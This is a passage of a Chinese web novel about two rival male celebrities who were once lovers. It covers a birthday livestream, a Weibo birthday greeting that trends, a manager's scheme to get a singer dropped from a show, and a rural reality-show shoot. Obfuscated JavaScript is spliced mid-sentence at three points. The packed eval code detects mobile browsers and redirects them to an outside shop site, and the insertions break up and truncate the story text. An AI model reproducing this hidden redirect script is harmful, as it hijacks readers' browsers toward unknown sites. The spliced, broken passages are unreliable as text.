《离了对家还能活?[娱乐圈]》 7. 生日 进组前,秦琛先去拍了一组圣诞写真,存着营业。 时暮算得上是他半个御用摄影师,虽然时暮本人不觉得,但架不住秦琛给的太多。 一如往常的在吵闹中拍完照,临近晚饭时间,秦琛和时暮提出一起吃饭。 时暮正在拨电话,让秦琛等等。 电话接通后,时暮问道:“秦琛约我吃饭,你一起来吗?” 秦琛知道他在和周景暄打电话,他和周景暄小时候就认识,他是不介意一起吃,但今天他有事想单独和时暮聊一聊,于是对时暮摇摇头,指了指时暮又指了指自己,表示晚餐只有他们俩。 时暮明了,对周景暄说:“秦琛不让你来,好小气一人。” 秦琛:“……” 坐到包厢里,点完餐上完菜后,秦琛才说出今晚的目的。 “我有一个朋友……” 时暮一听这开头,猝不及防笑了,茶也不喝了,又在秦琛怨念的眼神下憋住笑:“你继续。” “他跟他前男友分手了,前段时间见面发现自己还喜欢他,想去找他又怕对方不愿意复合,你觉得该怎么办?” “等等啊。”时暮有点奇怪,“是什么原因驱使你来跟我咨询感情问题?我看起来是谈过很多次恋爱的吗?” 秦琛理所当然地说:“你和周景暄不是也分开了几年?情况差不多嘛。周景暄看起来没有你懂,所以今晚才没带他。” “……”时暮拿起筷子夹菜,“那还是有点不一样的,我和周景暄是第一次恋爱,在一起那是久别重逢后的顺其自然。至于你和你前男友,要是真复合了,好点儿的情况下叫破镜重圆,坏一点就叫重蹈覆辙。” “那也是可以试一试的吧?”秦琛一时嘴快问完,才反应过来时暮的话,心虚掩饰道,“什么我和我前男友,那是我朋友的。” “我又不是娱记,又不会把你的消息卖出去,有什么好瞒的?”时暮说,“我怎么不知道你这么关心朋友的感情问题,你是要转行当红娘吗?” 秦琛颓气地靠着椅背,苦恼地皱着眉头。 “你以为我和周景暄为什么会错过这么多年?”时暮以自己切身经历给他打个比方,“因为我担心说出口的话会让我们之间维持的平衡崩塌,所以一直憋着。” “谁都不能保证事情一定会往好的方向走,如果说与不说最后都会后悔,那为什么不试一次呢?” “成功了皆大欢喜,失败了也只是再回到现在的阶段,最坏的结果你们不是已经体会过了吗?怕什么?” 听完他的话,秦琛豁然开朗,一口气喝光了杯里的茶水,若有所思道:“说的是啊,还能糟糕到哪去呢?” * 云江的初雪在小雪那天落下,秦琛在拍戏间隙里空出时间去给周景暄的画展撑个场子,尽管周景暄本人不需要。 为了支持小伙伴的事业,秦琛个人买了一千本画册。 秦琛和其他人一样排着队等签名,轮到他的时候,秦琛只拿了两本,余下的九百九十八本都在单子上。 周景暄嘴角一扯,有点无言地看着他:“都要签名吗?” 秦琛:“剩下的不用给我,家里也放不下,你自个留着吧。” 周景暄低头在那两本画册上签名:“你想要的话跟我说就好了,不用自己买。” “不差这点儿钱。”秦琛拽得二五八万的。 “我也不差。” “……” 要是时暮在旁边,估计要翻白眼了,俩富二代在这儿比什么呢? 晚点儿还有工作,秦琛拿着签了名的画册先离开了,再不走他的粉丝能把场馆挤爆。 回片场的路上,陈皓和秦琛汇报新接触的一档观察类恋综的进展。 陈皓以为他是对哪个嘉宾不满,正想问一问,秦琛先开了口。 “乐初白是不是要开生日会了?” 陈皓:“???” 合着他在那儿不说话想半天不是在想自己的事? 秦琛的思绪偶尔会这样乱飘,陈皓也习惯了,回道:“是吧,听说场馆都批了,怎么了?他邀请你了?” “没有。” 嘿!还真是和他毫无关系的事情。 小蓠看着秦琛好像有点郁闷,插嘴说道:“这不是很正常吗?你俩是对家,哥要是去了,网友可能会以为你是去砸场子的。” “……”秦琛赌气地侧了侧身,留给他们一个不开心的后脑勺。 * 十二月六日,晴天无雪。 云江有人欢喜有人愁。 欢喜的人正在认真打扮准备前往乐初白的生日会,发愁的人正在家里生闷气。 比如秦琛。 「乐初白1206生日快乐」的词条一直挂在微博热搜上,秦琛数次点进去,都能看到粉丝发的新祝福。 生日会晚上七点才开始,会有全程直播,开始前的这段时间里,秦琛决定去健身房冷静一会儿。 直到他自认没有那么耿耿于怀后,才从健身房出来,用小号点开了直播。 他混在粉丝里,和他们一样,给乐初白发“生日快乐”。 现场到了几个圈内好友,因为行程冲突来不了的也录制了视频给乐初白庆生。 有几位都是他们的共同好友,连凌栩都出镜了。 凌栩录制的这身造型,秦琛有点熟悉,回忆了一下应该是两个星期前和他约饭那天。 早知道那天就一直跟着凌栩了,是不是能蹭个镜头也和乐初白说句生日快乐? 生日会现场的乐初白是全场的焦点,聚光灯都打在他一个人身上,气质文雅,嘴角带着温和的笑,认真地听着台下粉丝和他说话。 “除了今天,初白有没有印象深刻的生日事件分享呀?” 乐初白思索了片刻,微笑道:“十八岁那年的生日吧。” “成人礼吗?是不是也有很多人给初白过生日?” “其实没有。”乐初白很平静地说,“印象深刻是因为,那时距离我上一个有人陪着过的生日已经过了十年。” 秦琛愣了一下。 原来乐初白还记得。 那年给他唱生日歌、一起吃蛋糕的人是秦琛。 会偷袭地亲吻他沾了奶油的嘴角,再和他鼻尖抵着鼻尖,对他说一句“喜欢你”的人也是秦琛。 好不容易释怀的情绪就这么被乐初白一段话勾了出来。 生日会接近尾声,蛋糕由乐初白进圈拍的第一部电影的导演推上台。 这个环节乐初白并不知情,他一直以为会是自己的经纪人推蛋糕上来,以至于见到恩师时一时没控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13513495|142241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制住自己。 全场都在跟着音乐给他唱生日歌,只有他在欢乐声中发愣,眼底慢慢蒙上一层水汽。 宁导年过半百,长相严肃正经,不熟悉的人总觉得他凶神恶煞的。 乐初白是模特出身,并非科班出身,第一次拍戏就被选中出演宁导的电影,他自己都觉得是走了狗屎运。 他不畏惧镜头,但隔行如隔山,总担心演得不好,他全程都是紧绷着的。 宁导在拍摄的时候没有说什么,收工后才将乐初白喊到自己旁边。 场务们在收拾现场,他们远离人群,乐初白紧张地站在一边,宁导看出他的不安,拍了拍他的肩头,让他放松点。 宁导慢慢给他讲拍摄的事情,循循渐进地指导他。 他仔细听着,改变自己的心态,最终完美地演绎了这个角色。 乐初白饰演的只是一个戏份不算多的男四,连电影海报上领携主演那一栏都不一定有名字的小角色,他完全没想到会得到宁导的指点。 宁导打心眼里喜欢这个小孩儿,能吃苦又上进,学东西也快,拍摄结束后他也会给乐初白传授一些拍戏的经验,教他如何在娱乐圈生存,给他推一些资源。 乐初白也不负所望,从没什么名气的平面模特慢慢成为了目前炙手可热的小生,每每采访被问到最想感谢的人是谁,他永远回答“宁导和时摄影师”。 宁导私底下是个不善言辞的,他和乐初白有段时间没见了,当年青涩的小年轻现在已经成长为光彩耀眼的大明星了。 乐初白没有拿话筒,敬重地喊了一声:“老师。” 宁导欣慰地看着他,随后上前拥抱他,所有的话语都藏在这个拥抱里了。 秦琛看着直播画面,也终于明白为什么之前不管是现场还是VCR里都没有出现宁导的身影。 他想乐初白也可以不换经纪人,赵远辞比他的经纪人会来事儿多了。 九点半,直播准时结束了,屋内一下子安静了下来。 秦琛情绪稍显低落,听到身后有动静,喊了一声:“梅花糕?” 几秒后一只漂亮的三花猫跑过来,跳上沙发,和他对视了一会儿,然后俯下身子,在他腿上懒懒地窝着。 “梅花糕的妈妈也生日快乐。”秦琛抚着它的背,低低地说道。 * 陈皓把蛋糕给秦琛送来时已经十一点了,他真服了这祖宗,想一出是一出。 “是这样的吗?”陈皓指着加急取回来的蛋糕问。 秦琛点头:“嗯,谢谢,你可以回去了。” 陈皓走前留下一句:“明天健身房,加练。” “……” 秦琛看着摆在桌上的蛋糕,没发疯去乐初白的生日会,那就自己在家发疯吧。 他尽可能地描述了当年那个蛋糕的样子,加钱请人定做,好在今天还没过完。 秦琛去卧室床上挑了一只Kuromi,放在蛋糕前,点蜡烛放生日歌,再替Kuromi吹蜡烛。 他切了一块蛋糕,拿到书房,放到储物柜一个松木盒前,摸了摸盒子,看着贴在盒子上的猫咪照片,说:“生日快乐,梅花糕很好,别担心。” “小不也很好。”秦琛的语气低落下来,脑袋抵在柜子边缘,垂着眼皮,喃喃道,“只有我不好。” 8. 留言 急促的电话铃声响起,将陷入旧梦的秦琛唤回来。 秦琛才意识到自己在床尾沉默地坐了很久,估计监控室里的工作人员都要怀疑画面卡住了。 一边是尖锐的来电铃声,一边是浴室里传来的模糊水声,秦琛烦躁地抓了一把头发,走到床头,在被子里翻出手机,接通电话。 “干嘛?” “哟,语气这么冲?”陈皓道,“谁惹你生气了,大少爷?” “你。” “……” 秦琛靠坐在床头,电热毯提前打开了,此刻被窝里正是暖烘烘的舒适,让人犯懒。 “什么事?” 陈皓:“没什么,今天录制怎样?有出什么问题吗?” “大问题。”秦琛说,“你知道乐初白也来了吗?” “啊?!真的假的?我开了一下午的会,没人通知我啊!”陈皓犹豫了一下,才弱弱地开口,“你们……没吵起来吧?” “吵起来又怎样?” 陈皓倒抽一口冷气:“嘶,我去看看合同上写的违约金是多少。” 秦琛:“……你能不能盼点好的?你就觉得我爱惹事儿是吧。” “没有就好。”陈皓接着说道,“过两天录完节目,我帮你约了时老师,先去他工作室拍几组照片,我快没有图给你发微博营业了。” “我自拍几张直接发不就得了。”秦琛像是想起什么,“对了,微博账号什么时候还我?” “三个月到了?” 今年刚开年,秦琛在微博上跟黑粉对骂,气得陈皓没收了他的微博账号三个月。 秦琛“啧”了一声:“忘了,还我能怎样?” “我可怕了你,短短几个月给我搞出这么多事儿,手滑点赞,手滑给人评论,现在又手滑骂了黑粉,我不知道你下次会手滑干什么。” “……”秦琛狡辩,“我又不是无缘无故干这些……” “行,你点赞夸你微博没什么问题,骂造谣的黑粉我也能帮你和公司解释,”陈皓道,“那你上次给无关紧要的乐初白发生日祝福是为什么?有什么缘故?” “我……”秦琛哑然。 “前一天公关团队才帮你举报掉几个用乐初白来拉踩你的微博账号,第二天你就给我们整这么一出,你要干什么?” “跟你说我喝酒了,手误发的。”秦琛道,“不就是句‘生日快乐’吗,我又没骂……” 秦琛突然止住话音。 洗手间的门不知道什么时候打开了,乐初白带着周身水汽站在门边。 “你骗鬼去吧。”陈皓道,“没到时间我不会把微博账号给你的,你好好休息,别惹事也别被人欺负,有事就找我,先挂了。” 陈皓说完就挂了电话,秦琛似乎没察觉,手机还贴在耳边没拿下来,亮起的屏幕光就这样打在他侧脸上。 他抬眼看着乐初白,乐初白看了他一眼就移开了视线,往桌边走去。 空气里又弥漫起一股尴尬的气息,秦琛努努嘴,心想自己应该没说什么不好的话,又或许乐初白根本没听到。 秦琛终于意识到陈皓已经挂了电话,而自己还把手机举了半天这件事有点蠢,他拿下手机点开了消消乐,又掀起眼皮偷偷瞥了眼背对着他坐在桌前的乐初白。 乐初白在洗手间里就把吹干了头发,现在蓬蓬松松的有点乱,如果上手摸一把,感觉会很不错。 可惜现在不是以前,不然秦琛一定会这么做。 乐初白吃了感冒药,从背包里拿出剧本,和秦琛一样坐在床头。 两个人的距离说近不近,说远不远,秦琛斜眼看了看,两床床单的边缘像是天然的“三八线”。 这么近,翻个身就能翻到乐初白旁边吧。 肌肉记忆把他抱在怀里睡觉怎么办? 这床真的不能拆开吗? 秦琛在脑中演练了几种可能,他知道自己睡觉时会不知不觉把旁边的物品抱住,多是他放在床上的大玩偶,而有一段时间在他怀里的是乐初白。 “秦老师,你的游戏打开很久了。”乐初白突然说道。 秦琛思路被打断,低头看了眼搁在被子上的手机,消消乐的界面已经打开了,欢快到有些嘈杂的背景音乐也循环了好几轮。 秦琛偏过头去看他,乐初白微微低着头,曲起一条腿,剧本就放在上面,彩色的马克笔划出了台词,空白地方密密麻麻的都是注解。 这是嫌自己吵到他了? 秦琛默默关了声音。 他看剧本的样子倒是让秦琛想起以前,处于学习状态下的乐初白,神情是一贯的认真,被人吵到了总会不自觉皱起眉头,看起来冷冰冰的,不近人情。 现在不知道是不是顾及镜头,要注意表情管理,从始至终眉眼都是舒展的。 秦琛收回视线,侧过身躺下,往床边挪了挪,安静地玩起消消乐。 通关了几局后,秦琛总感觉房间里安静得有点诡异。 他悄悄回过头,发现乐初白还保持着刚才的姿势,似乎连剧本也没翻过页,这是在背台词还是在发呆开小差? 左右与自己无关,秦琛又转了回去,继续自己的游戏。 “秦老师。” 背后突然响起声音,秦琛手指一顿,有些疑惑地应了一声:“干嘛?” “你上次,为什么评论我的微博?”乐初白淡声问。 秦琛坐了起来,更加不明白地看向乐初白:“?” 今晚是干什么,开检讨大会吗?他是不是要补一份八百字的检讨书? 乐初白的视线终于从剧本上移开,对上秦琛的眼睛。 他确实在开小差,那件事他想了很久都没有想出答案,对方公关团队给出来的回答自然不会是真的。 本来也放下了,现在被人提了一嘴就忍不住想弄明白,乐初白才发现自己控制情绪的本事很差。 一时间没有人说话,乐初白正要开口说“算了”,秦琛突然道:“那天确实喝酒了,脑子晕晕的,我认为留一句祝福的话不是什么出格的事情,没必要谴责吧?” 反问完,秦琛又盯着他说:“你要是觉得困扰,大可以当没看见,为什么要回我呢?” 闻言,乐初白骤然抓紧了剧本。 * 生日会结束后的一小时,乐初白才甩掉跟车的私生,往家的方向开,车载音响的声音调得很低。 “初白初白!”赵远辞忽然惊道,“见鬼了!” 乐初白其实不爱开这样的见面会,人太多了,此时正犯着困,刚想闭目眼神,闻言掀开眼皮朝旁边瞥了一眼:“怎么了?” 赵远辞举着手机,界面是秦琛的微博。 华玥坐在后面,也伸长脖子凑过来看,说话都磕巴了:“秦琛竟然、竟然祝你生日快乐???” 秦琛? 乐初白彻底清醒了,扭头定定地看着手机。 秦琛在一分钟前转发了他的生日会返图的微博。 「秦琛V:生日快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13513496|142241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐。」 “他这是什么意思啊?”赵远辞不太明白,“这几年都没给你发过生日祝福,今天是怎么了?” 是啊。乐初白也在想,他这是怎么了? 当年说不联系的人是他,现在率先打破这个约定的还是他。 乐初白感觉头有点痛,又坐回原位,闭着眼睛淡淡道:“要联系他删掉吗?” 赵远辞:“正好我有他经纪人的微信,我先和他聊聊,你累的话就先睡,我来处理。” “嗯。” 陈皓应该也在联系秦琛,并没有马上回复。 「秦琛祝乐初白生日快乐」的词条正在以惊人的速度往上爬,公关团队也来找赵远辞,赵远辞现在一个头两个大。 等了好一会儿,陈皓终于回了消息。 “秦琛的经纪人说秦琛喝酒了,可能不太清醒,因为性格热情好客,见着人生日就想发个祝福。”赵远辞复述道。 乐初白:“……” “他们准备这样公关吗?”乐初白问。 “这事儿有什么好公关的,又不是不好的事情。”赵远辞说,“网友原先认为你们是不对付的对家,现在秦琛的行为只是让他们开始怀疑你们的关系是不是在转好。” 陈皓又发来了消息,赵远辞照着念:“我这边会让秦琛删掉的,给乐老师添麻烦了,抱歉啊。” 乐初白皱眉:“删了不是更奇怪?” “删了的话你们就还是不对付的对家,秦琛这种行为可能会被恶意解读为挑衅。不删的话你俩之后如果碰面,就不能像现在这样冷淡了。” 乐初白问:“现在风向怎样?” 华玥走在吃瓜第一线,开始汇报:“秦琛的粉丝很懵,我们的粉丝也很懵,但因为是‘生日快乐’这种美好的祝福,想打架好像也找不到理由,所以目前两方还保持着和平。路人没什么反应,在思考你俩什么时候认识了?黑子还是用那些话术在蹦跶,也有引战用哥哥你拉踩秦琛的,感觉很快会打起来。” 华玥快速地浏览词条里的微博,摇摇头:“披皮黑在说秦琛是想倒贴你,蹭你热度,他的粉丝在控评,说哥哥你人气不如秦琛,秦琛才不屑蹭热度。” “陈皓已经控制了他的微博账号,目前秦琛不会再发什么,我们这边先当作没看见。”赵远辞说:“等秦琛酒醒了再说吧,谁知道他是以什么心情发的微博。” 赵远辞说了什么,乐初白没听进去,他拿出手机点开了微博。 “有人说秦琛硬蹭,明明生日会上的朋友祝福里没有他,还要专门发微博刷存在感。”华玥说,“快要热搜第一了,哥,你真的红了。” 乐初白找到秦琛那条微博,盯着看了一会儿,评论区也有迎合着一起祝乐初白生日快乐的,至于是不是咬着牙发出来的就不知道了。 私心不太想秦琛删掉,于是他自作主张地在评论区回了一句。 「乐初白V:谢谢。」 赵远辞和华玥的手机发出提示音,两个人点开手机上方弹出来的提醒,三秒后同时惊呼出声。 “初白!”/“哥!” 两人同样震惊地看着他。 赵远辞:“你还回他?现在还没人骂到我们头上,但万一他真的删了微博怎么办?可能就变成你倒贴失败了!” 华玥也不懂:“哥,你这是什么公关路数?” “不是公关。”乐初白眉头稍稍舒展开,侧头望向窗外,手抵着下颌,神情恍恍道,“只是想和他说说话。” 9. 条件 那时两边都在找营销号想发些通稿将这件事定义成朋友之间的祝福,结果发现秦琛和乐初白两个人连一个同框镜头都没有,商场里挂着的广告海报都比俩人离得近。 微博互关也是乐初白发评论的时候先点的,不知道该拿什么证明他们是朋友。 于是两方达成共识,摆烂式处理,反正没太大影响,日后让两个人多互动就行。 事实证明,这事儿确实不算事儿,文娱热搜更新得很快,一天的时间就没人讨论了。 而乐初白和秦琛除了微博互关了,没有再互动过。 现在提起小半年前的事情,秦琛都有些恍惚,他前阵子忙得基本没时间去想工作以外的事情。 转发乐初白微博那一次,秦琛确实是有意在他面前刷存在感,甚至想过什么活动能和乐初白碰上,而事实是,他们总在错过。 秦琛不是不明白,如果对方也想见他,这么多大型活动,他们不可能碰不上。 这几年里他想避开乐初白,总会找各种理由,甚至直接推掉工作,真想躲着一个人,是非常容易的。 现在他不躲了,却还是见不到想见的人,原因很显然,乐初白也有意躲着他。 “不回复好像不太好,毕竟我的人设不是孤傲。”乐初白再开口的声音不像刚才那样低沉,他把头转了回去,后脑勺抵在墙上,嘴角微微翘起。 真是完美的假面人,秦琛心想。 总是有套无懈可击的说辞,让人窥探不到他真实的想法。 “睡了。”秦琛心里堵着气又宣泄不出,索性丢下话结束这个话题,又躺了回去。 * 清晨六点才过,乐初白已经睁开了眼睛。 旁边的人不知道什么时候翻了身,此刻两人正是面对面躺着。 窗帘不完全遮光,房间里不至于是黑暗一片,多少能看清楚周围的一切。 这样的光线下,摄像机拍摄的画面都是模糊的,乐初白也不担忧什么了,定定地看着面前熟睡的人。 他是第一次参加真人秀,几乎二十四小时暴露在摄像头下,并不是他喜欢的。 起初赵远辞在接到节目组邀约时,乐初白正好在他办公室,赵远辞和他提了一嘴,想着之前乐初白接到综艺邀约基本都是回绝的,问要不要直接拒绝掉。 还没等乐初白回答,赵远辞收到了管理层发来的消息。 “寰启投资了,节目组给了拟邀名单。”赵远辞道。 寰启是乐初白目前经纪公司“长风”的母公司,作为投资方,提前拿到嘉宾名单再简单不过。 乐初白正在看赵远辞给他挑出来的几个本子,头也没抬地问:“有谁?” 赵远辞:“林紫烟和杨清越已定,江寒、谢雪婧、还有你待定,备选是秦琛和罗夏天,按照三男两女的配置来看,秦琛是来替你或者江寒的。” 乐初白沉思:“江寒是那个歌手?” “对。” “他不是黑料上长了个人吗?节目组敢要?” “这个……” “公司是要我去吗?”乐初白问。 “不是必须,你实在不想去的话,我帮你跟领导说。”赵远辞说,“只是这档节目回报率预计不错,公司很重视。而且和你的形象挺搭的,你也可以试着从这个节目开始,逐渐接触综艺这一板块。” 乐初白抬头看他:“我可以接这个项目,但我有个条件。” “什么?” “让秦琛参加。” 赵远辞皱眉:“谁?秦琛?为什么?而且他只是个备选,谁能保证他……” 乐初白坐在单人沙发上,淡定地翻了一页剧本,说:“那就让江寒退出,我不想和这种人接触。” “我知道了,我会处理的。” 赵远辞正准备联系了相熟的营销号,想再把江寒之前的黑料翻出来,虽然是冷饭热炒,但在这个关头上还是能让项目组多几分考量。 结果没等赵远辞这边动手,江寒从出道以来的所有黑料被全部抖了出来,发博的是一个刚注册的微博账号,但时间线清晰,证据齐全,直接在热搜榜上挂了几天,原先的代言、广告、节目全部掉了,倒是给赵远辞省了不少事。 他又在暗中推波助澜,江寒直接被行业内封杀,赵远辞顺利地向节目组推荐了秦琛。 清早的鸟叫声清脆,但不吵人,把乐初白的思绪喊了回来。 也不知道自己做的这个决定是对是错。 乐初白把秦琛的被角往上拉了拉,盖住他露在外面的手臂,然后轻手轻脚地起床去洗漱。 十分钟后,乐初白在昏暗的光线下找到自己的麦,悄悄地下了楼。 他拉开门走出屋子,摄影师们才架好机器,乐初白跟他们打了声招呼:“早。” PD有些意外,见乐初白在戴麦,小跑过来帮他拉着线:“乐老师怎么起这么早?” 乐初白简单回道:“生物钟。” 戴好了麦,乐初白问道:“我去散散步,可以吗?” PD:“当然可以,我找个摄像老师跟着你。” 乐初白本想拒绝,他喜欢一个人独处,又想到节目需要素材,最终还是没说,只当摄影师不在。 农村空气清新,晨间的薄雾还没散,微弱的曦光从云层后透出来,看起来像是给万物罩了一层朦胧的纱。 安安静静地走了一段路,乐初白突然扭头问一旁的摄像师:“老师,我是不是该说点什么给后期提供素材?” 他第一次上真人秀,总听人说要有综艺感,他不太明白怎样做算是有综艺感,但绝对不是他现在沉默寡言的样子。 摄影师摇摇头:“乐老师随意就好,太刻意反倒会显得假。” 乐初白似懂非懂:“啊,我怕观众觉得无聊。” “我们节目的风格就是岁月静好,慢生活,乐老师这样很合适。” 乐初白笑了笑,放下心来慢慢走着,看一些许久没见过的风景,听听远处传来的家禽声,还有过路人热情地跟他打招呼。 他应该有近两三年没有休息过了,借着录制节目能得到一点放松,还能遇到好久不见的人。 他突然觉得接下这个工作挺正确的。 没等他走多远,忽然感觉有水滴到脸上,他抹了抹被滴到的地方,还没等反应过来,细雨猛然落下。 没有任何征兆,也没有由小到大的过渡,像是有人拿了浇花壶,恶作剧地站在云上胡乱浇花。 散步计划破碎,乐初白戴上帽衫的帽子,拔腿往回跑。 来时没觉得自己走了这么远,现在跑回去竟然还花了几分钟,墨绿色的卫衣被雨水一打,几乎要变成黑色。 出门一趟,回来也才七点半,小院和离开时一样安静,大家似乎都还没起。 乐初白站在屋檐下,脱掉湿了大半的卫衣,又去厨房烧了壶热水,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的形象就是他的饭碗,录节目带的都是低调但有型的衣服,不会过于繁琐,但又能很好地衬出他的身材。 不愧是手握顶奢成衣代言的时尚宠儿。 听见卫生间的门打开,秦琛抱着衣服过去,也不顾及乐初白,直接把衣服挂在挂钩上,走到洗手台前,拿过自己的牙刷和牙膏,准备先刷牙。 乐初白刚洗完脸,正对着镜子往脸上抹面霜,忽地停下动作,从镜子里看了眼低头在挤牙膏的秦琛。 茉莉桃子味的牙膏? 一些记忆从脑海中浮现,乐初白不管脸上还没抹匀的面霜,匆匆盖上盖子,转身出了卫生间。 从前他们在每次在卫生间,总会发生些什么。 早上洗漱是多发期,秦琛很爱挤着他一起刷牙,打打闹闹的,等洗漱完,他就会被秦琛捧着脸或压在墙壁上接吻。 所以那段时间里,乐初白对于早晨的气息就是清甜的茉莉桃子味。 气味是一种很好的记忆巩固工具,以至于多年后乐初白再闻到相似的味道,碎片般的记忆就这样拼凑了起来。 怎么会有人几年都不换牙膏牌子呢? 乐初白不明白。 10. 胆子 秦琛将自己收拾干净,换好衣服又变回了平时那只花孔雀。 下到一楼时,楼梯口的房间门从里打开了,杨清越毫不在意镜头,打着哈欠,顶着乱糟糟的鸡窝头走出来。 脸上带着浓厚的倦意,眼睛本来还半眯着,扭头一看干净清爽的秦琛,跟自带滤镜一样,顿时瞪大了眼睛。 “哇,天神下凡啊,太耀眼了。” 秦琛失笑:“少来了杨老师。” 杨清越左看右看,问了一句:“我不会是最晚醒的吧?” “或许是吧,毕竟,我都起了。”秦琛路过他,向门边走去,“吃饭去咯。” 外头雨不算大,鉴于院中的凉棚没有顶,一家子只能挤在厨房里。 不会做饭三人组围在小火炉边,看林紫烟搅拌逐渐浓稠的白粥。 这并不是什么有技术含量的事情,林紫烟也不明白他们一脸的求知是怎么回事。 白粥微微沸腾,发出闷闷的咕噜声,林紫烟拿开勺子,一旁的谢雪婧就拿着砂锅盖子盖了上去。 乐初白在案台前切菜,没有食材的早上,只能简单地吃个粥,青菜都是刚才去地里现摘的。 不干活就没饭吃,看来插秧是刻不容缓了。 杨清越走到厨房门口,抬头望了望天,又看向对面的导演组,喊话道:“王导,你们可真会选时间啊,这要是一直下雨,咱这节目还录不录了?” “刚看了天气预报,一个小时后雨会停。”王导道,“放心,为了坑你……锻炼你们,我们有应急方案的。” “嘿,说漏嘴了吧。” “……” 杨清越和导演组打嘴炮的时间里,乐初白已经把切得大小基本一致的菜叶子放进粥里,他洗着菜刀和砧板,秦琛站在一旁等着洗碗。 乐初白忽然道:“秦老师,怕鸡吗?” “?”秦琛不明所以,“不怕,干嘛?” “要不要去鸡窝里,拿几颗鸡蛋?” “啊?” 秦琛扭过头,从窗户往外看了看鸡鸭鹅混居的鸡舍,地上是斑驳的排泄物,站在这儿似乎都闻到了那股味道。 母鸡孵蛋的草编鸡窝搁在小石屋里,现在没有母鸡在守着。 秦琛眉头微皱。 “敢去吗?”乐初白问。 秦琛脱口而出:“有什么不敢?” 乐初白微微笑道:“那太好了。” 嘴巴又比脑子快了,秦琛懊恼,怎么一遇到这种激将总是会犯蠢往下跳。 他胆子是大,也不怕被啄,但他有点儿洁癖,今天穿的可是新衣服新鞋子啊! “我跟……” 乐初白话还没说完,谢雪婧的声音响起:“我也去!” 谢雪婧看起来十分激动:“我还没有偷过鸡蛋呢!我想试试!” 乐初白笑了笑:“怎么把我们说的有点儿不道德?” “什么什么?有什么好玩的事儿吗?”杨清越凑了过来。 “去鸡窝拿鸡蛋。”秦琛道。 杨清越兴致勃勃:“那还等什么,走,我给你们撑伞。” 摸个鸡蛋没必要出动那么多人,乐初白接过秦琛手里的碗,轻声道:“你们去吧,小心点,拿不到就算了。” 秦琛扬眉:“切,等着瞧吧。” 樱花屋首次摸鸡蛋活动开始—— 摄像师快速换了地方,架好机位,聚焦鸡窝,围观群众在窗户后当起了场外气氛组。 林紫烟:“加油啊,早饭加餐就看你们的了。” 摸鸡蛋小分队身负重任,抵达鸡舍就位,怕脏的秦大少爷抱着小竹篮,看着脏脏的地方,做了十秒的思想斗争,终于推开了鸡舍的门。 还能把他啄死不成? 谢雪婧紧随其后,大眼睛左右转着,警惕着四周的动静,轻轻地走进去。 破旧的鸡舍栅栏拦不住什么,几只体型小一些的鸡鸭都钻空溜了出去,在菜园子里散步,余下的昂首挺胸地守着家,不过看起来对入侵者没有什么敌意。 秦琛慢慢靠近母鸡下蛋的小石屋,蹲下,鸡窝就在门口,里面卧着几颗蛋。 最里头有两只鸡在来回走,秦琛一边注意着它们的动向,一边悄悄伸手去摸。 摸到鸡蛋后,秦琛迅速抓稳收手,成功拿到一颗鸡蛋。 “真棒!”杨清越想给他鼓掌,又意识到自己一手撑了一把伞,没有手了,遂作罢。 人生第一次在鸡窝里掏鸡蛋,还没有被母鸡追着啄,秦琛都意外了。 多新奇啊,还挺有意思的,大少爷不参加节目怕是一辈子都不会有这样的体验。 他拿着鸡蛋对每个镜头一顿炫耀:“我拿到的,厉害吧。” 趁热打铁,秦琛又拿了两颗,把剩下的留给谢雪婧。 有秦琛的成功案例在前,谢雪婧也没什么顾虑,大胆地把剩下的鸡蛋拿了出来。 “耶!!!”谢雪婧一手一个鸡蛋,高举起双手欢呼。 “太棒啦——” 围观群众乐先生和林女士如同复制粘贴,一人站在一个窗格后面,连鼓掌的频率都是一样的。 秦琛抱着一篮子鸡蛋回来:“拿了六个。” 林紫烟接过竹篮,夸赞道:“太厉害了,想想我以前也敢掏鸡蛋掏鸟蛋的,结果有次被鸡啄了,给我啄出心理阴影,现在让我去鸡窝里拿鸡蛋,我可干不来。” “还真别说,我发现人并不是越长大越勇敢的,我刚才站在鸡圈里,竟然有点儿怕。”杨清越道。 林紫烟:“人是会变的嘛,有人变强大,有人变谨慎,都是很正常的,经历不同罢了。” “说的是。”杨清越抱着胳膊,问三个年轻人,“诶,你们觉得,你们现在和以前比,是胆大了还是胆小了?” 谢雪婧想了想:“我觉得我更大胆了,很多事情都敢尝试了。” 杨清越看向秦琛,秦琛抬了抬下巴,一贯的骄矜,道:“从小到大就没什么是我不敢做的。” “看出来了。”杨清越又问道,“初白你呢?” 乐初白正煎着鸡蛋,闻言只是笑了笑,似乎有些不好意思:“我吗?” 鸡蛋打入油锅,发出噼里啪啦的声音,油星溅起一点,打在手背上有丝丝痛痒。 “我一直很胆小。”乐初白视线始终低垂,声音很轻,自嘲般回答道。 * 吃完早饭,雨也差不多停了。 雨后的空气带着一股泥土混杂草木的气味,昨天还想着不管破旧的凉棚鸡舍,今天一看还是得修修。 